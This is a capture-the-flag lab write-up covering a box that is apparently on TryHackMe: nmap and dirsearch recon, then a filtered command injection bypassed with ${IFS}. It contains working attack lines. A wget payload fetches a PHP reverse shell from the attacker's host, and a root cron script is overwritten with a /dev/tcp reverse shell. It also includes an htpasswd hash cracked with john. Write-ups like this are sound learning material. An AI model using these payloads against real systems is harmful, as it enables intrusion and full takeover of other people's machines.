Before all
Well… I was stucked at the last step of this box, after I searched other’s Write Up, I learned a new tool - pspy
which can moniter linux processes without root.
Victim’s IP : 10.10.3.97
Attacker’s IP : 10.9.195.189
Write Up
RECON
port scan
Command:
1 | nmap -sC -sV -PN 10.10.3.97 |
Result:
1 | Nmap scan report for 10.10.3.97 |
nothing special though…
directory enumeration
Command:
1 | dirsearch -u http://10.10.3.97/ |
Result:
The most interesting part is the admin
directory which required http-get auth.
Exploitation
command injection
The web page look like this, and after some tries, I found out a vulnerability with command injection.
The interesting part is that it would block the space
character and cut the post data with &
(me crying out loud : is and not end!!!)
Anyway, is still easy to bypass by ${IFS}
Setting up a http server to make victim downloads the php reverse shell.
1 | python3 -m http.server 10000 |
I opened it on port 10000
Listening on port 1004 and wait for the reverse shell work:
1 | nc -nlvp 1004 #rrrahhh |
Command injection payload:
1 | yt_url=;wget${IFS}http://10.9.195.189:10000/reverse.php; |
And just visit http://10.10.3.97:10000/reverse.php
to get shell on port 1004
password cracking
Well…although I don’t know why I should do this, but I must do this to complete the challenge(
File:/var/www/html/admin/.htpasswd
Content:itsmeadmin:$apr1$tbcm2uwv$UP1ylvgp4.zLKxWj8mc6y/
Simple crack with john
:
Command:
1 | john pass --wordlist=rockyou.txt |
Result:
Privilege Escalation
pspy
https://github.com/DominicBreuker/pspy
Install it on victim’s machine:
1 | wget http://10.9.195.189:10000/pspy64 |
And after a while, I noticed that there’s a cronjob run with UID=0
, which probably run by root
reverse shell again
Base on the cronjob discovered before, I edited the content of clean.sh
to get a root’s shell.
1 | echo "sh -i >& /dev/tcp/10.9.195.189/5427 0>&1" > clean.sh |
Open port 5427 on my computer:
1 | sudo nc -lvnp 5427 |
Finally…
Get shell!!!
After all
I am still procrastinating on my write up for Year of the Fox on TryHackMe …